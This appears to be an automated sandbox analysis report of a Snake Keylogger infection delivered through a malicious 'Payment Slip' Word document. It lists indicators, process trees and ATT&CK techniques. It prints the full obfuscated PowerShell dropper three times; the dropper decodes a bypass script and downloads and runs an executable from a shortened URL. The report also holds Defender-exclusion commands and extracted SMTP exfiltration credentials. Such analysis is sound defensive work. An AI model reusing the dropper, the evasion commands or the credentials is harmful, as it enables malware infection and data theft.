snakekeylogger | 8dead61d3783e37eef1dc2062acd13670f59da4f0dab124d533dd4d684b3ed60

Analysis

max time kernel
150s
max time network
151s
platform
windows7_x64
resource
win7v20201028
submitted
08-04-2021 06:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Payment Slip ETL_050_6380247.doc
Size

824KB
MD5

a68f53e59383050cf5c0f92ac964dfb1
SHA1

43a1afe645d5f828b991785f2f9e8e9833063ed3
SHA256

8dead61d3783e37eef1dc2062acd13670f59da4f0dab124d533dd4d684b3ed60
SHA512

e67053a81a7a9c52c2fda7435b9cef4f52ad658cce1aedd95715f1d63ca0f9717e0eb8fbbc5b061d3f764f5388604841189907821366122d83f93266eaa76cc4

Score

10^/10

snakekeylogger evasion keylogger persistence stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bit.ly/3uqfHTI

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
nobettwo.xyz
Port:
587
Username:
bal@nobettwo.xyz
Password:
KvgnCIGBE8+H

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1536	1696	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1044	544	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1772	1832	powershell.exe	EXCEL.EXE

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/916-160-0x0000000000400000-0x000000000046A000-memory.dmp	family_snakekeylogger
behavioral1/memory/916-161-0x000000000046477E-mapping.dmp	family_snakekeylogger
behavioral1/memory/916-164-0x0000000000400000-0x000000000046A000-memory.dmp	family_snakekeylogger

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1536 powershell.exe
8 1536 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

99864.exe99864.exe

pid process

2024 99864.exe
916 99864.exe
Loads dropped DLL 7 IoCs

Processes:

powershell.exe99864.exeWerFault.exe

pid process

1536 powershell.exe
2024 99864.exe
956 WerFault.exe
956 WerFault.exe
956 WerFault.exe
956 WerFault.exe
956 WerFault.exe

flow	pid	process
7	1536	powershell.exe
8	1536	powershell.exe

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

99864.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe = "0"	99864.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\99864.exe = "0"	99864.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	99864.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	99864.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

99864.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\wyreCRIln = "C:\\Windows\\Cursors\\WQzhTjfBsYrOnkh\\svchost.exe"	99864.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 checkip.dyndns.org
19 freegeoip.app
20 freegeoip.app

flow	ioc
14	checkip.dyndns.org
19	freegeoip.app
20	freegeoip.app

Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs

Processes:

99864.exe

pid	process
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

99864.exe

description pid process target process

PID 2024 set thread context of 916 2024 99864.exe 99864.exe

description	pid	process	target process
PID 2024 set thread context of 916	2024	99864.exe	99864.exe

Drops file in Windows directory 3 IoCs

Processes:

WINWORD.EXE99864.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE
File created	C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	99864.exe
File opened for modification	C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	99864.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

956 2024 WerFault.exe 99864.exe
Office loads VBA resources, possible macro or embedded object present
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

616 timeout.exe

pid	pid_target	process	target process
956	2024	WerFault.exe	99864.exe

pid	process
616	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEexcelcnv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	excelcnv.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1864 WINWORD.EXE

pid	process
1864	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe99864.exe99864.exeWerFault.exe

pid	process
1536	powershell.exe
1772	powershell.exe
1044	powershell.exe
1044	powershell.exe
1536	powershell.exe
1772	powershell.exe
1472	powershell.exe
1344	powershell.exe
1472	powershell.exe
1500	powershell.exe
1344	powershell.exe
1500	powershell.exe
2024	99864.exe
2024	99864.exe
2024	99864.exe
916	99864.exe
956	WerFault.exe
956	WerFault.exe
956	WerFault.exe
956	WerFault.exe
956	WerFault.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe99864.exepowershell.exepowershell.exepowershell.exe99864.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	2024	99864.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	916	99864.exe
Token: SeDebugPrivilege	956	WerFault.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXE

pid process

1864 WINWORD.EXE
1864 WINWORD.EXE
1696 EXCEL.EXE
544 EXCEL.EXE
1832 EXCEL.EXE

pid	process
1864	WINWORD.EXE
1864	WINWORD.EXE
1696	EXCEL.EXE
544	EXCEL.EXE
1832	EXCEL.EXE

Suspicious use of WriteProcessMemory 53 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exe99864.execmd.exe

description	pid	process	target process
PID 1864 wrote to memory of 2008	1864	WINWORD.EXE	splwow64.exe
PID 1864 wrote to memory of 2008	1864	WINWORD.EXE	splwow64.exe
PID 1864 wrote to memory of 2008	1864	WINWORD.EXE	splwow64.exe
PID 1864 wrote to memory of 2008	1864	WINWORD.EXE	splwow64.exe
PID 1696 wrote to memory of 1536	1696	EXCEL.EXE	powershell.exe
PID 1696 wrote to memory of 1536	1696	EXCEL.EXE	powershell.exe
PID 1696 wrote to memory of 1536	1696	EXCEL.EXE	powershell.exe
PID 1696 wrote to memory of 1536	1696	EXCEL.EXE	powershell.exe
PID 544 wrote to memory of 1044	544	EXCEL.EXE	powershell.exe
PID 544 wrote to memory of 1044	544	EXCEL.EXE	powershell.exe
PID 544 wrote to memory of 1044	544	EXCEL.EXE	powershell.exe
PID 544 wrote to memory of 1044	544	EXCEL.EXE	powershell.exe
PID 1832 wrote to memory of 1772	1832	EXCEL.EXE	powershell.exe
PID 1832 wrote to memory of 1772	1832	EXCEL.EXE	powershell.exe
PID 1832 wrote to memory of 1772	1832	EXCEL.EXE	powershell.exe
PID 1832 wrote to memory of 1772	1832	EXCEL.EXE	powershell.exe
PID 1536 wrote to memory of 2024	1536	powershell.exe	99864.exe
PID 1536 wrote to memory of 2024	1536	powershell.exe	99864.exe
PID 1536 wrote to memory of 2024	1536	powershell.exe	99864.exe
PID 1536 wrote to memory of 2024	1536	powershell.exe	99864.exe
PID 2024 wrote to memory of 1472	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1472	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1472	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1472	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1344	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1344	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1344	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1344	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1500	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1500	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1500	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1500	2024	99864.exe	powershell.exe
PID 2024 wrote to memory of 1060	2024	99864.exe	cmd.exe
PID 2024 wrote to memory of 1060	2024	99864.exe	cmd.exe
PID 2024 wrote to memory of 1060	2024	99864.exe	cmd.exe
PID 2024 wrote to memory of 1060	2024	99864.exe	cmd.exe
PID 1060 wrote to memory of 616	1060	cmd.exe	timeout.exe
PID 1060 wrote to memory of 616	1060	cmd.exe	timeout.exe
PID 1060 wrote to memory of 616	1060	cmd.exe	timeout.exe
PID 1060 wrote to memory of 616	1060	cmd.exe	timeout.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 916	2024	99864.exe	99864.exe
PID 2024 wrote to memory of 956	2024	99864.exe	WerFault.exe
PID 2024 wrote to memory of 956	2024	99864.exe	WerFault.exe
PID 2024 wrote to memory of 956	2024	99864.exe	WerFault.exe
PID 2024 wrote to memory of 956	2024	99864.exe	WerFault.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment Slip ETL_050_6380247.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2008

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $FXEEWNeAIhqilyjV=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,86,86,75,75,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,57,48,55,54,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,86,86,75,75,41,59,125,101,108,115,101,32,123,125,59);[System.Text.Encoding]::ASCII.GetString($FXEEWNeAIhqilyjV)|IEX; (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/3uqfHTI ” , ”$ENv:teMp\99864.exe” ) ; stARt ”$ENv:tEMP\99864.exe”
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536

C:\Users\Admin\AppData\Local\Temp\99864.exe
"C:\Users\Admin\AppData\Local\Temp\99864.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe" -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\99864.exe" -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe" -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 1
4⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\timeout.exe
timeout 1
5⤵
- Delays execution with timeout.exe
PID:616

C:\Users\Admin\AppData\Local\Temp\99864.exe
"C:\Users\Admin\AppData\Local\Temp\99864.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2024 -s 1872
4⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $FXEEWNeAIhqilyjV=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,86,86,75,75,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,57,48,55,54,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,86,86,75,75,41,59,125,101,108,115,101,32,123,125,59);[System.Text.Encoding]::ASCII.GetString($FXEEWNeAIhqilyjV)|IEX; (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/3uqfHTI ” , ”$ENv:teMp\99864.exe” ) ; stARt ”$ENv:tEMP\99864.exe”
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1044

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $FXEEWNeAIhqilyjV=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,86,86,75,75,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,57,48,55,54,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,115,121,83,116,69,109,46,110,101,116,46,119,69,66,117,116,105,108,105,84,89,93,58,58,104,84,109,76,100,69,99,111,68,101,40,39,38,35,54,53,59,38,35,49,48,57,59,38,35,49,49,53,59,38,35,49,48,53,59,39,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,99,72,97,82,93,40,57,55,41,43,91,99,104,65,114,93,40,49,48,57,41,43,91,99,104,97,114,93,40,56,54,43,50,57,41,43,91,99,104,97,82,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,86,86,75,75,41,59,125,101,108,115,101,32,123,125,59);[System.Text.Encoding]::ASCII.GetString($FXEEWNeAIhqilyjV)|IEX; (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/3uqfHTI ” , ”$ENv:teMp\99864.exe” ) ; stARt ”$ENv:tEMP\99864.exe”
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe
"C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe" -Embedding
1⤵
- Enumerates system info in registry
PID:1032

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03bfaf74-c48a-406b-812c-2684df821d22
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b0b2f5a-4fa9-4284-9780-9a1da7b14a47
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_26c82cf2-ace7-43bf-96e5-83e534c5bb73
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
